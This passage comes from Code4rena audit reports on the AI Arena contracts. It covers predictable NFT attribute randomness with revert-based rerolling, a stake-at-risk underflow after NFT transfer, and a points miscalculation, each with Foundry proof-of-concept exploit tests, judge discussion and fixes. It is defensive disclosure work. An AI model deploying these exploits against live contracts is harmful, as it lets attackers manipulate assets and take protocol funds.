_fighterFarmContract.instantiateMintpassContract(address(_mintPassContract)); _fighterFarmContract.instantiateNeuronContract(address(_neuronContract)); _fighterFarmContract.setMergingPoolAddress(address(_mergingPoolContract)); // --- PoC start --- address attacker_eoa = address(0x1337); vm.prank(attacker_eoa); PoCCanClaimSpecificAttributeByRevert attacker_contract_wallet = new PoCCanClaimSpecificAttributeByRevert(_fighterFarmContract); uint8[2] memory numToMint = [1, 0]; string[] memory claimModelHashes = new string[](1); claimModelHashes[0] = "ipfs://bafybeiaatcgqvzvz3wrjiqmz2ivcu2c5sqxgipv5w2hzy4pdlw7hfox42m"; string[] memory claimModelTypes = new string[](1); claimModelTypes[0] = "original"; // get sign vm.startPrank(_POC_DELEGATED_ADDRESS); bytes32 msgHash = keccak256(abi.encode( address(attacker_contract_wallet), numToMint[0], numToMint[1], 0, // nftsClaimed[msg.sender][0], 0 // nftsClaimed[msg.sender][1] )); bytes memory prefix = "\x19Ethereum Signed Message:\n32"; bytes32 prefixedHash = keccak256(abi.encodePacked(prefix, msgHash)); (uint8 v, bytes32 r, bytes32 s) = vm.sign(signerPrivateKey, prefixedHash); bytes memory claimSignature = abi.encodePacked(r, s, v); vm.stopPrank(); for(uint160 i = 100; _fighterFarmContract.balanceOf(address(attacker_contract_wallet)) == 0; i++){ vm.prank(attacker_eoa); attacker_contract_wallet.tryClaim(numToMint, claimSignature, claimModelHashes, claimModelTypes); // other user mints NFT, the fighters.length changes and DNA would be changed _mintFromMergingPool(address(i)); // random user claim their NFT } assertEq(_fighterFarmContract.balanceOf(address(attacker_contract_wallet)), 1); uint256 tokenId = _fighterFarmContract.tokenOfOwnerByIndex(address(attacker_contract_wallet), 0); (,,uint256 weight,,,,) = _fighterFarmContract.getAllFighterInfo(tokenId); assertEq(weight, 95); }
Manual Review
Users should only request minting, and attributes values should not be determined in the transaction called by the user. When a user claims an NFT, it should only mint the NFT and end. The attribute should be set by the admin or third-party like chainlink VRF after minting so that the user cannot manipulate it.
It’s not about lack of randomless problem, this is about setting attributes at same transaction when minting NFT. Even if you use chainlink, the same bug can happen if you set the attribute and mint NFTs in the same transaction.
Other
#0 - c4-pre-sort
2024-02-25T03:26:49Z
raymondfam marked the issue as sufficient quality report
#1 - c4-pre-sort
2024-02-25T03:27:17Z
raymondfam marked the issue as duplicate of #53
#2 - c4-judge
2024-03-06T03:49:26Z
HickupHH3 changed the severity to 3 (High Risk)
#3 - c4-judge
2024-03-06T03:56:38Z
HickupHH3 marked the issue as satisfactory
#4 - c4-judge
2024-03-14T14:43:09Z
HickupHH3 marked the issue as not a duplicate
#5 - HickupHH3
2024-03-14T14:44:46Z
Not a dup: RNG can be as robust, but this allows re-rolling as many times until the desired attributes are attained.
#6 - c4-judge
2024-03-14T14:44:50Z
HickupHH3 marked the issue as selected for report
#7 - c4-judge
2024-03-14T14:44:56Z
HickupHH3 marked the issue as primary issue
#8 - c4-judge
2024-03-16T10:37:54Z
HickupHH3 changed the severity to 2 (Med Risk)
#9 - McCoady
2024-03-19T14:21:04Z
The underlying root cause of this issue remains the same as #1017 and suggests the same mitigation to fix it.
It's true that this issue and it's duplicates provide a clearer proof of concept on how this can directly be exploited but the majority of reports under the #1017 duplicate also outline the same impact & recommended mitigation (using Chainlink VRF).
I think the majority of wardens understand that it is not a lack of entropy problem and that any mitigation that uses same block on-chain randomness would be vulnerable, hence why the recommended mitigations in most of the reports suggest using Chainlink VRF rather than adding extra pseudorandom entropy to the hash.
It may be fairer to reward the issues that showed the clearer PoC full credit and the issues under #1017 be given partials, but IMO they don't warrant being two separate issues.
#10 - klau5dev
2024-03-19T20:34:12Z
I don't think the root cause is the same. The root cause of this vulnerability is that regardless of whether the attribute is pseudo-random or random, if you don't like the result, you can revert the transaction to cancel the minting.
Chainlink VRF is recommended for implementing random functionality because it is known to be best practice, and because it is more decentralized way, better fit for web3 projects. However, even if VRF is used and resolves pseudo-random, incorrectly integrating VRF can lead to the same vulnerability as this issue. Even when randomness is guaranteed by VRF, problems can still occur, so the root cause is different.
In other words, recommending the use of VRF does not mean that it is a duplicate vulnerability. To be considered duplicate, it should be pointed out that even with VRF, they must first mint the NFT to force the user's hook to not be called after setting attributes. More precisely, it should point out that control should not go to the user in the transaction that sets the attribute.
#11 - McCoady
2024-03-19T22:00:25Z
Just to be clear, using Chainlink VRF does not return the random words within the same transaction the randomness is requested in (see requestConfirmations
here), so the user would not know their result in time to choose to revert or not.
#12 - klau5dev
2024-03-19T23:50:04Z
If it mints NFT at fulfillRandomWords, it also call receive hook and user can revert it. But this implementation can cause DoS so it is not best practice of VRF. Best practice is just save random number at fulfillRandomWords and user calls the function which consume random value, or just set attributes(not mint NFT) at fulfillRandomWords.
If NFT is minted at that consume function, or user calls consume function by their attack contract then user still can revert it. Whether attributes are still manipulatable or not depends on the implementation(How to consume the random value? If the user reverts and try it later again, can attribute be changed?). If developer use VRF without these concerns, the same issue would occur even with random value.
Finally, VRF is not the only way to get randomness. For simple example, admin can just give random value generated at server with signature. But revert issue still remains. VRF can remove multiple problems, but I think that doesn't mean the root cause of multiple issues are same.
#13 - McCoady
2024-03-19T23:59:59Z
I think anyone would suggest fulfillRandomWords
should not do anything other than provide the random values for the already minted NFT, and you even agree "it is not best practice of VRF". So it seems in bad faith to be arguing about an issue based on the protocol teams hypothetical incorrect mitigation of the issue.
I'll leave it up to the judge's decision from here as I think we've both added sufficient context for either side of the issue.
#14 - c4-judge
2024-03-20T00:28:49Z
HickupHH3 marked the issue as duplicate of #1017
#15 - klau5dev
2024-03-20T00:31:21Z
Some teams don't choose VRF because it costs LINK or their business reason. The reason I used chainlink as an explanation is to show difference root cause with #1017
I think same impact and same mitigation does not mean same root cause. If the bug is one line and mitigation is same, then it can be same root cause, but applying VRF is huge change. Huge change can remove many problems, but it does not mean that all problems has same root cause. I think 'Not using VRF' cannot be root cause.
This is final statement of mine, thank you for share your opinion.
#16 - HickupHH3
2024-03-20T01:02:00Z
Agree with this as the root cause (from the original report)
t’s not about lack of randomless problem, this is about setting attributes at same transaction when minting NFT. Even if you use chainlink, the same bug can happen if you set the attribute and mint NFTs in the same transaction.
FWIW, the fixes reduce the pseduorandomness further, making the attributes more deterministic, but non-manipulatable in the sense that the attributes stays constant till someone actually mints the NFT. https://github.com/code-423n4/2024-02-ai-arena-findings/issues/1017#issuecomment-2004646057
#17 - c4-judge
2024-03-20T01:03:39Z
HickupHH3 marked the issue as not a duplicate
#18 - c4-judge
2024-03-20T01:03:45Z
HickupHH3 marked the issue as primary issue
#19 - SonnyCastro
2024-03-25T14:53:01Z
Mitigated here
#20 - c4-sponsor
2024-03-25T14:53:35Z
brandinho (sponsor) confirmed
🌟 Selected for report: klau5
Also found by: 0rpse, 0xBinChook, 0xDetermination, 0xGreyWolf, 0xLogos, 0xWallSecurity, 0xaghas, 0xgrbr, 0xkaju, 0xlyov, AlexCzm, BARW, Blank_Space, BoRonGod, Daniel526, DanielArmstrong, Draiakoo, FloatingPragma, Giorgio, Greed, Jorgect, Matue, McToady, MidgarAudits, Nyxaris, PUSH0, PedroZurdo, Pelz, PoeAudits, Silvermist, SpicyMeatball, Tekken, Tricko, Tumelo_Crypto, VAD37, WoolCentaur, Zac, alexzoid, andywer, aslanbek, bgsmallerbear, cats, d3e4, desaperh, dimulski, dutra, erosjohn, evmboi32, favelanky, fnanni, forkforkdog, gesha17, givn, grearlake, haxatron, honey-k12, iamandreiski, immeas, juancito, kaveyjoe, ke1caM, kiqo, klau5, korok, lil_eth, lsaudit, n0kto, ni8mare, niser93, pa6kuda, peanuts, peter, shaka, sl1, soliditywala, solmaxis69, t0x1c, tallo, thank_you, tpiliposian, visualbits, vnavascues, web3pwn, yotov721
0.0458 USDC - $0.05
https://github.com/code-423n4/2024-02-ai-arena/blob/1d18d1298729e443e14fea08149c77182a65da32/src/FighterFarm.sol#L324 https://github.com/code-423n4/2024-02-ai-arena/blob/1d18d1298729e443e14fea08149c77182a65da32/src/FighterFarm.sol#L214 https://github.com/code-423n4/2024-02-ai-arena/blob/1d18d1298729e443e14fea08149c77182a65da32/src/FighterFarm.sol#L379
Allows users to mint NFTs with the desired attribute values or change the attribute values to the desired one.
The DNA used to create NFT attributes is not a random value, but a predictable one. All attributes are calculated pseudo-randomly, so users can calculate the attributes they can get.
Users can know the conditions to mint the desired NFT. The result of the reroll is also predictable. Users can get the desired result by transferring the NFT to their other account and reroll with that account.
function mintFromMergingPool( address to, string calldata modelHash, string calldata modelType, uint256[2] calldata customAttributes ) public { require(msg.sender == _mergingPoolAddress); _createNewFighter( to, @> uint256(keccak256(abi.encode(msg.sender, fighters.length))), modelHash, modelType, 0, 0, customAttributes ); } function claimFighters( uint8[2] calldata numToMint, bytes calldata signature, string[] calldata modelHashes, string[] calldata modelTypes ) external { bytes32 msgHash = bytes32(keccak256(abi.encode( msg.sender, numToMint[0], numToMint[1], nftsClaimed[msg.sender][0], nftsClaimed[msg.sender][1] ))); require(Verification.verify(msgHash, signature, _delegatedAddress)); uint16 totalToMint = uint16(numToMint[0] + numToMint[1]); require(modelHashes.length == totalToMint && modelTypes.length == totalToMint); nftsClaimed[msg.sender][0] += numToMint[0]; nftsClaimed[msg.sender][1] += numToMint[1]; for (uint16 i = 0; i < totalToMint; i++) { _createNewFighter( msg.sender, @> uint256(keccak256(abi.encode(msg.sender, fighters.length))), modelHashes[i], modelTypes[i], i < numToMint[0] ? 0 : 1, 0, [uint256(100), uint256(100)] ); } } function reRoll(uint8 tokenId, uint8 fighterType) public { require(msg.sender == ownerOf(tokenId)); require(numRerolls[tokenId] < maxRerollsAllowed[fighterType]); require(_neuronInstance.balanceOf(msg.sender) >= rerollCost, "Not enough NRN for reroll"); _neuronInstance.approveSpender(msg.sender, rerollCost); bool success = _neuronInstance.transferFrom(msg.sender, treasuryAddress, rerollCost); if (success) { numRerolls[tokenId] += 1; @> uint256 dna = uint256(keccak256(abi.encode(msg.sender, tokenId, numRerolls[tokenId]))); (uint256 element, uint256 weight, uint256 newDna) = _createFighterBase(dna, fighterType); fighters[tokenId].element = element; fighters[tokenId].weight = weight; fighters[tokenId].physicalAttributes = _aiArenaHelperInstance.createPhysicalAttributes( newDna, generation[fighterType], fighters[tokenId].iconsType, fighters[tokenId].dendroidBool ); _tokenURIs[tokenId] = ""; } }
This is PoC. Add this to the FighterFarm.t.sol file and run it. First, it shows predicting attributes and minting a token with the desired attributes. Then it shows being able to get the desired result with reroll by predicting reroll results.
function testPoCAttributePredictable() public { // --- Predict minting results to pick out the desired attributes --- uint8[2] memory numToMint = [1, 0]; bytes memory claimSignature = abi.encodePacked( hex"407c44926b6805cf9755a88022102a9cb21cde80a210bc3ad1db2880f6ea16fa4e1363e7817d5d87e4e64ba29d59aedfb64524620e2180f41ff82ca9edf942d01c" ); string[] memory claimModelHashes = new string[](1); claimModelHashes[0] = "ipfs://bafybeiaatcgqvzvz3wrjiqmz2ivcu2c5sqxgipv5w2hzy4pdlw7hfox42m"; string[] memory claimModelTypes = new string[](1); claimModelTypes[0] = "original"; // predict attribute uint256 calculatedWeight; for(uint160 i = 100; ; i++){ // can predict DNA and attributes uint256 dna = uint256(keccak256(abi.encode(_ownerAddress, _fighterFarmContract.totalSupply()))); calculatedWeight = dna % 31 + 65; // user wants this specific attribute. wait to if(calculatedWeight == 95){ vm.prank(_ownerAddress); _fighterFarmContract.claimFighters(numToMint, claimSignature, claimModelHashes, claimModelTypes); break; } // other user mints NFT, the fighters.length changes and DNA would be changed _mintFromMergingPool(address(i)); // random user claim their NFT } // Right sender of signature should be able to claim fighter assertEq(_fighterFarmContract.balanceOf(_ownerAddress), 1); uint256 tokenId = _fighterFarmContract.tokenOfOwnerByIndex(_ownerAddress, 0); (,,uint256 weight,,,,) = _fighterFarmContract.getAllFighterInfo(tokenId); assertEq(weight, 95); // --- Predict reroll results to pick the desired attribute --- _neuronContract.addSpender(address(_fighterFarmContract)); for(uint160 i = 1000; ; i++){ address user_owned_account = address(i); uint256 dna = uint256(keccak256(abi.encode(user_owned_account, uint8(tokenId), _fighterFarmContract.numRerolls(tokenId) + 1))); calculatedWeight = dna % 31 + 65; // user want to get light one if(calculatedWeight < 70){ vm.prank(_ownerAddress); _fighterFarmContract.transferFrom(_ownerAddress, user_owned_account, tokenId); _fundUserWith4kNeuronByTreasury(user_owned_account); vm.prank(user_owned_account); _fighterFarmContract.reRoll(uint8(tokenId), 0); break; } } assertEq(_fighterFarmContract.numRerolls(tokenId), 1); (,,uint256 weightRerolled,,,,) = _fighterFarmContract.getAllFighterInfo(tokenId); assertLt(weightRerolled, 70); }
Manual Review
To implement randomness, you should use chainlink or use a random value created off-chain.
Other
#0 - c4-pre-sort
2024-02-24T01:33:28Z
raymondfam marked the issue as sufficient quality report
#1 - c4-pre-sort
2024-02-24T01:33:36Z
raymondfam marked the issue as duplicate of #53
#2 - c4-judge
2024-03-06T03:48:50Z
HickupHH3 marked the issue as satisfactory
#3 - c4-judge
2024-03-06T03:49:26Z
HickupHH3 changed the severity to 3 (High Risk)
#4 - c4-judge
2024-03-20T01:04:20Z
HickupHH3 marked the issue as duplicate of #376
🌟 Selected for report: klau5
Also found by: 0xAlix2, 0xCiphky, 0xDetermination, 0xG0P1, 0xMosh, 0xabhay, 14si2o_Flint, AlexCzm, Aymen0909, CodeWasp, DanielArmstrong, FloatingPragma, Giorgio, JCN, Jorgect, Kalogerone, KmanOfficial, Kow, KupiaSec, McToady, SpicyMeatball, VAD37, WoolCentaur, ZanyBonzy, alexxander, alexzoid, almurhasan, blutorque, csanuragjain, denzi_, dipp, djxploit, evmboi32, handsomegiraffe, haxatron, immeas, jesjupyter, ke1caM, klau5, lanrebayode77, lil_eth, merlin, merlinboii, nuthan2x, peanuts, shaflow2, shaka, sl1, solmaxis69, stakog, swizz, t0x1c, tallo, ubermensch, vnavascues, yotov721
1.3115 USDC - $1.31
https://github.com/code-423n4/2024-02-ai-arena/blob/1d18d1298729e443e14fea08149c77182a65da32/src/RankedBattle.sol#L285-L286 https://github.com/code-423n4/2024-02-ai-arena/blob/1d18d1298729e443e14fea08149c77182a65da32/src/RankedBattle.sol#L495-L496
Cannot record a user's victory on-chain, and it may be possible to recover past losses(which should impossible).
If you lose in a game, _addResultPoints
is called, and the staked tokens move to the StakeAtRisk.
function _addResultPoints( uint8 battleResult, uint256 tokenId, uint256 eloFactor, uint256 mergingPortion, address fighterOwner ) private { uint256 stakeAtRisk; uint256 curStakeAtRisk; uint256 points = 0; /// Check how many NRNs the fighter has at risk stakeAtRisk = _stakeAtRiskInstance.getStakeAtRisk(tokenId); ... /// Potential amount of NRNs to put at risk or retrieve from the stake-at-risk contract @> curStakeAtRisk = (bpsLostPerLoss * (amountStaked[tokenId] + stakeAtRisk)) / 10**4; if (battleResult == 0) { /// If the user won the match ... } else if (battleResult == 2) { /// If the user lost the match /// Do not allow users to lose more NRNs than they have in their staking pool if (curStakeAtRisk > amountStaked[tokenId]) { @> curStakeAtRisk = amountStaked[tokenId]; } if (accumulatedPointsPerFighter[tokenId][roundId] > 0) { ... } else { /// If the fighter does not have any points for this round, NRNs become at risk of being lost @> bool success = _neuronInstance.transfer(_stakeAtRiskAddress, curStakeAtRisk); if (success) { @> _stakeAtRiskInstance.updateAtRiskRecords(curStakeAtRisk, tokenId, fighterOwner); @> amountStaked[tokenId] -= curStakeAtRisk; } } } }
If a Fighter NFT has NRN tokens staked, that Fighter NFT is locked and cannot be transfered. When the tokens are unstaked and the remaining amountStaked[tokenId]
becomes 0, the Fighter NFT is unlocked and it can be transfered. However, it does not check whether there are still tokens in the StakeAtRisk of the Fighter NFT.
function unstakeNRN(uint256 amount, uint256 tokenId) external { require(_fighterFarmInstance.ownerOf(tokenId) == msg.sender, "Caller does not own fighter"); if (amount > amountStaked[tokenId]) { @> amount = amountStaked[tokenId]; } amountStaked[tokenId] -= amount; globalStakedAmount -= amount; stakingFactor[tokenId] = _getStakingFactor( tokenId, _stakeAtRiskInstance.getStakeAtRisk(tokenId) ); _calculatedStakingFactor[tokenId][roundId] = true; hasUnstaked[tokenId][roundId] = true; bool success = _neuronInstance.transfer(msg.sender, amount); if (success) { if (amountStaked[tokenId] == 0) { @> _fighterFarmInstance.updateFighterStaking(tokenId, false); } emit Unstaked(msg.sender, amount); } }
Unstaked Fighter NFTs can now be traded on the secondary market. Suppose another user buys this Fighter NFT with remaining StakeAtRisk.
Normally, if you win a game, you can call reclaimNRN
to get the tokens back from StakeAtRisk.
function _addResultPoints( uint8 battleResult, uint256 tokenId, uint256 eloFactor, uint256 mergingPortion, address fighterOwner ) private { uint256 stakeAtRisk; uint256 curStakeAtRisk; uint256 points = 0; /// Check how many NRNs the fighter has at risk @> stakeAtRisk = _stakeAtRiskInstance.getStakeAtRisk(tokenId); ... /// Potential amount of NRNs to put at risk or retrieve from the stake-at-risk contract @> curStakeAtRisk = (bpsLostPerLoss * (amountStaked[tokenId] + stakeAtRisk)) / 10**4; if (battleResult == 0) { /// If the user won the match ... /// Do not allow users to reclaim more NRNs than they have at risk if (curStakeAtRisk > stakeAtRisk) { @> curStakeAtRisk = stakeAtRisk; } /// If the user has stake-at-risk for their fighter, reclaim a portion /// Reclaiming stake-at-risk puts the NRN back into their staking pool @> if (curStakeAtRisk > 0) { @> _stakeAtRiskInstance.reclaimNRN(curStakeAtRisk, tokenId, fighterOwner); amountStaked[tokenId] += curStakeAtRisk; } ... } else if (battleResult == 2) { ... } }
However, if a new user becomes the owner of the Fighter NFT, it does not work as intended.
The _addResultPoints
might revert due to the underflow at reclaimNRN
's amountLost[fighterOwner] -= nrnToReclaim
. Therefore, the new owner cannot record a victory on-chain with the purchased NFT until the end of this round.
function getStakeAtRisk(uint256 fighterId) external view returns(uint256) { @> return stakeAtRisk[roundId][fighterId]; } function reclaimNRN(uint256 nrnToReclaim, uint256 fighterId, address fighterOwner) external { require(msg.sender == _rankedBattleAddress, "Call must be from RankedBattle contract"); require( stakeAtRisk[roundId][fighterId] >= nrnToReclaim, "Fighter does not have enough stake at risk" ); bool success = _neuronInstance.transfer(_rankedBattleAddress, nrnToReclaim); if (success) { stakeAtRisk[roundId][fighterId] -= nrnToReclaim; totalStakeAtRisk[roundId] -= nrnToReclaim; @> amountLost[fighterOwner] -= nrnToReclaim; emit ReclaimedStake(fighterId, nrnToReclaim); } }
Even if the new owner already has another NFT and has a sufficient amount of amountLost[fighterOwner]
, there is a problem.
There is a problem even if the user owns a sufficient amount of amountLost[fighterOwner]
and does not have stakeAtRisk of another NFT in the current round. In this case, the user can steal the protocol's token.
amountLost[fighterOwner]
is a total amount regardless of rounds, it remains 100 even after the round.This is PoC. You can add it to StakeAtRisk.t.sol and run it.
amountLost
0 cannot record a victory with the purchased NFT due to underflow.function testPoC1() public { address seller = vm.addr(3); address buyer = vm.addr(4); uint256 stakeAmount = 3_000 * 10 ** 18; uint256 expectedStakeAtRiskAmount = (stakeAmount * 100) / 100000; _mintFromMergingPool(seller); uint256 tokenId = 0; assertEq(_fighterFarmContract.ownerOf(tokenId), seller); _fundUserWith4kNeuronByTreasury(seller); vm.prank(seller); _rankedBattleContract.stakeNRN(stakeAmount, tokenId); assertEq(_rankedBattleContract.amountStaked(tokenId), stakeAmount); vm.prank(address(_GAME_SERVER_ADDRESS)); // loses battle _rankedBattleContract.updateBattleRecord(tokenId, 50, 2, 1500, true); assertEq(_stakeAtRiskContract.stakeAtRisk(0, tokenId), expectedStakeAtRiskAmount); // seller unstake and sell NFT to buyer vm.startPrank(seller); _rankedBattleContract.unstakeNRN(_rankedBattleContract.amountStaked(tokenId), tokenId); _fighterFarmContract.transferFrom(seller, buyer, tokenId); vm.stopPrank(); // The buyer win battle but cannot write at onchain vm.expectRevert(abi.encodeWithSignature("Panic(uint256)", 0x11)); // expect arithmeticError (underflow) vm.prank(address(_GAME_SERVER_ADDRESS)); _rankedBattleContract.updateBattleRecord(tokenId, 50, 0, 1500, true); } function testPoC2() public { address seller = vm.addr(3); address buyer = vm.addr(4); uint256 stakeAmount = 3_000 * 10 ** 18; uint256 expectedStakeAtRiskAmount = (stakeAmount * 100) / 100000; _mintFromMergingPool(seller); uint256 tokenId = 0; assertEq(_fighterFarmContract.ownerOf(tokenId), seller); _fundUserWith4kNeuronByTreasury(seller); vm.prank(seller); _rankedBattleContract.stakeNRN(stakeAmount, tokenId); assertEq(_rankedBattleContract.amountStaked(tokenId), stakeAmount); vm.prank(address(_GAME_SERVER_ADDRESS)); // loses battle _rankedBattleContract.updateBattleRecord(tokenId, 50, 2, 1500, true); assertEq(_stakeAtRiskContract.stakeAtRisk(0, tokenId), expectedStakeAtRiskAmount); // seller unstake and sell NFT to buyer vm.startPrank(seller); _rankedBattleContract.unstakeNRN(_rankedBattleContract.amountStaked(tokenId), tokenId); _fighterFarmContract.transferFrom(seller, buyer, tokenId); vm.stopPrank(); // The buyer have new NFT and loses with it uint256 stakeAmount_buyer = 3_500 * 10 ** 18; uint256 expectedStakeAtRiskAmount_buyer = (stakeAmount_buyer * 100) / 100000; _mintFromMergingPool(buyer); uint256 tokenId_buyer = 1; assertEq(_fighterFarmContract.ownerOf(tokenId_buyer), buyer); _fundUserWith4kNeuronByTreasury(buyer); vm.prank(buyer); _rankedBattleContract.stakeNRN(stakeAmount_buyer, tokenId_buyer); assertEq(_rankedBattleContract.amountStaked(tokenId_buyer), stakeAmount_buyer); // buyer loses with tokenId_buyer vm.prank(address(_GAME_SERVER_ADDRESS)); _rankedBattleContract.updateBattleRecord(tokenId_buyer, 50, 2, 1500, true); assertEq(_stakeAtRiskContract.stakeAtRisk(0, tokenId_buyer), expectedStakeAtRiskAmount_buyer); assertGt(expectedStakeAtRiskAmount_buyer, expectedStakeAtRiskAmount, "buyer has more StakeAtRisk"); // buyer win with bought NFT (tokenId 0) vm.startPrank(address(_GAME_SERVER_ADDRESS)); for(uint256 i = 0; i < 1000; i++){ _rankedBattleContract.updateBattleRecord(tokenId, 50, 0, 1500, false); } vm.stopPrank(); assertEq(_stakeAtRiskContract.stakeAtRisk(0, tokenId), 0); // Reclaimed all stakeAtRisk of bought NFT(token 0) assertEq(_stakeAtRiskContract.stakeAtRisk(0, tokenId_buyer), expectedStakeAtRiskAmount_buyer); // tokenId_buyer stakeAtRisk remains assertEq(_stakeAtRiskContract.amountLost(buyer), expectedStakeAtRiskAmount_buyer - expectedStakeAtRiskAmount, "remain StakeAtRisk"); // the remain StakeAtRisk cannot be reclaimed even if buyer win with tokenId_buyer(token 1) // and the win result of token 1 cannot be saved at onchain vm.expectRevert(abi.encodeWithSignature("Panic(uint256)", 0x11)); // expect arithmeticError (underflow) vm.prank(address(_GAME_SERVER_ADDRESS)); _rankedBattleContract.updateBattleRecord(tokenId_buyer, 50, 0, 1500, false); } function testPoC3() public { address seller = vm.addr(3); address buyer = vm.addr(4); uint256 stakeAmount = 3_000 * 10 ** 18; uint256 expectedStakeAtRiskAmount = (stakeAmount * 100) / 100000; // The buyer have new NFT and loses with it uint256 stakeAmount_buyer = 300 * 10 ** 18; uint256 expectedStakeAtRiskAmount_buyer = (stakeAmount_buyer * 100) / 100000; _mintFromMergingPool(buyer); uint256 tokenId_buyer = 0; assertEq(_fighterFarmContract.ownerOf(tokenId_buyer), buyer); _fundUserWith4kNeuronByTreasury(buyer); vm.prank(buyer); _rankedBattleContract.stakeNRN(stakeAmount_buyer, tokenId_buyer); assertEq(_rankedBattleContract.amountStaked(tokenId_buyer), stakeAmount_buyer); // buyer loses with tokenId_buyer vm.prank(address(_GAME_SERVER_ADDRESS)); _rankedBattleContract.updateBattleRecord(tokenId_buyer, 50, 2, 1500, true); assertEq(_stakeAtRiskContract.stakeAtRisk(0, tokenId_buyer), expectedStakeAtRiskAmount_buyer); assertGt(expectedStakeAtRiskAmount, expectedStakeAtRiskAmount_buyer, "seller's token has more StakeAtRisk"); // round 0 passed // tokenId_buyer's round 0 StakeAtRisk is reset vm.prank(address(_rankedBattleContract)); _stakeAtRiskContract.setNewRound(1); assertEq(_stakeAtRiskContract.stakeAtRisk(1, tokenId_buyer), 0); // seller mint token, lose battle and sell the NFT _mintFromMergingPool(seller); uint256 tokenId = 1; assertEq(_fighterFarmContract.ownerOf(tokenId), seller); _fundUserWith4kNeuronByTreasury(seller); vm.prank(seller); _rankedBattleContract.stakeNRN(stakeAmount, tokenId); assertEq(_rankedBattleContract.amountStaked(tokenId), stakeAmount); vm.prank(address(_GAME_SERVER_ADDRESS)); // loses battle _rankedBattleContract.updateBattleRecord(tokenId, 50, 2, 1500, true); assertEq(_stakeAtRiskContract.stakeAtRisk(1, tokenId), expectedStakeAtRiskAmount); // seller unstake and sell NFT to buyer vm.startPrank(seller); _rankedBattleContract.unstakeNRN(_rankedBattleContract.amountStaked(tokenId), tokenId); _fighterFarmContract.transferFrom(seller, buyer, tokenId); vm.stopPrank(); // buyer win with bought NFT (tokenId 0) vm.startPrank(address(_GAME_SERVER_ADDRESS)); for(uint256 i = 0; i < 100; i++){ _rankedBattleContract.updateBattleRecord(tokenId, 50, 0, 1500, false); } vm.stopPrank(); assertEq(_stakeAtRiskContract.stakeAtRisk(1, tokenId), expectedStakeAtRiskAmount - expectedStakeAtRiskAmount_buyer); // Reclaimed all stakeAtRisk of bought NFT(token 1) assertEq(_stakeAtRiskContract.stakeAtRisk(1, tokenId_buyer), 0); assertEq(_stakeAtRiskContract.amountLost(buyer), 0, "reclaimed old lost"); // and the win result of token 1 cannot be saved at onchain anymore vm.expectRevert(abi.encodeWithSignature("Panic(uint256)", 0x11)); // expect arithmeticError (underflow) vm.prank(address(_GAME_SERVER_ADDRESS)); _rankedBattleContract.updateBattleRecord(tokenId, 50, 0, 1500, false); }
Manual Review
Tokens with a remaining StakeAtRisk should not be allowed to be exchanged.
function unstakeNRN(uint256 amount, uint256 tokenId) external { require(_fighterFarmInstance.ownerOf(tokenId) == msg.sender, "Caller does not own fighter"); if (amount > amountStaked[tokenId]) { amount = amountStaked[tokenId]; } amountStaked[tokenId] -= amount; globalStakedAmount -= amount; stakingFactor[tokenId] = _getStakingFactor( tokenId, _stakeAtRiskInstance.getStakeAtRisk(tokenId) ); _calculatedStakingFactor[tokenId][roundId] = true; hasUnstaked[tokenId][roundId] = true; bool success = _neuronInstance.transfer(msg.sender, amount); if (success) { - if (amountStaked[tokenId] == 0) { + if (amountStaked[tokenId] == 0 && _stakeAtRiskInstance.getStakeAtRisk(tokenId) == 0) { _fighterFarmInstance.updateFighterStaking(tokenId, false); } emit Unstaked(msg.sender, amount); } }
Invalid Validation
#0 - c4-pre-sort
2024-02-24T04:15:46Z
raymondfam marked the issue as duplicate of #1641
#1 - c4-judge
2024-03-12T03:34:04Z
HickupHH3 changed the severity to 2 (Med Risk)
#2 - c4-judge
2024-03-12T04:01:25Z
HickupHH3 changed the severity to 3 (High Risk)
#3 - c4-judge
2024-03-12T04:03:31Z
HickupHH3 changed the severity to 2 (Med Risk)
#4 - c4-judge
2024-03-12T06:44:31Z
HickupHH3 marked the issue as satisfactory
#5 - c4-judge
2024-03-14T06:26:02Z
HickupHH3 marked the issue as selected for report
#6 - HickupHH3
2024-03-14T06:27:38Z
#1795 was also a strong contender for best report. I found this one to be a little more succinct in explanation.
Have commented on this vulnerability in the initial primary issue #1641.
#7 - c4-sponsor
2024-03-18T13:52:04Z
brandinho (sponsor) confirmed
#8 - SonnyCastro
2024-03-18T17:52:50Z
Mitigated here
🌟 Selected for report: klau5
Also found by: 0xAlix2, 0xCiphky, 0xDetermination, 0xG0P1, 0xMosh, 0xabhay, 14si2o_Flint, AlexCzm, Aymen0909, CodeWasp, DanielArmstrong, FloatingPragma, Giorgio, JCN, Jorgect, Kalogerone, KmanOfficial, Kow, KupiaSec, McToady, SpicyMeatball, VAD37, WoolCentaur, ZanyBonzy, alexxander, alexzoid, almurhasan, blutorque, csanuragjain, denzi_, dipp, djxploit, evmboi32, handsomegiraffe, haxatron, immeas, jesjupyter, ke1caM, klau5, lanrebayode77, lil_eth, merlin, merlinboii, nuthan2x, peanuts, shaflow2, shaka, sl1, solmaxis69, stakog, swizz, t0x1c, tallo, ubermensch, vnavascues, yotov721
1.3115 USDC - $1.31
Can create an NFT that will never lose staking no matter how much it loses for this round.
When moving NFTs, it does not check if there are points left for this round on the relevant NFT. accumulatedPointsPerFighter
and accumulatedPointsPerAddress
are calculated assuming that the same user has made a change in points, so if the NFT moves, it causes an error in the calculation of accumulatedPointsPerFighter
and accumulatedPointsPerAddress
.
function _addResultPoints( uint8 battleResult, uint256 tokenId, uint256 eloFactor, uint256 mergingPortion, address fighterOwner ) private { ... /// Potential amount of NRNs to put at risk or retrieve from the stake-at-risk contract curStakeAtRisk = (bpsLostPerLoss * (amountStaked[tokenId] + stakeAtRisk)) / 10**4; if (battleResult == 0) { /// If the user won the match /// If the user has no NRNs at risk, then they can earn points if (stakeAtRisk == 0) { @> points = stakingFactor[tokenId] * eloFactor; } /// Divert a portion of the points to the merging pool uint256 mergingPoints = (points * mergingPortion) / 100; @> points -= mergingPoints; _mergingPoolInstance.addPoints(tokenId, mergingPoints); ... /// Add points to the fighter for this round @> accumulatedPointsPerFighter[tokenId][roundId] += points; @> accumulatedPointsPerAddress[fighterOwner][roundId] += points; totalAccumulatedPoints[roundId] += points; if (points > 0) { emit PointsChanged(tokenId, points, true); } } else if (battleResult == 2) { /// If the user lost the match /// Do not allow users to lose more NRNs than they have in their staking pool if (curStakeAtRisk > amountStaked[tokenId]) { curStakeAtRisk = amountStaked[tokenId]; } if (accumulatedPointsPerFighter[tokenId][roundId] > 0) { /// If the fighter has a positive point balance for this round, deduct points @> points = stakingFactor[tokenId] * eloFactor; if (points > accumulatedPointsPerFighter[tokenId][roundId]) { points = accumulatedPointsPerFighter[tokenId][roundId]; } @> 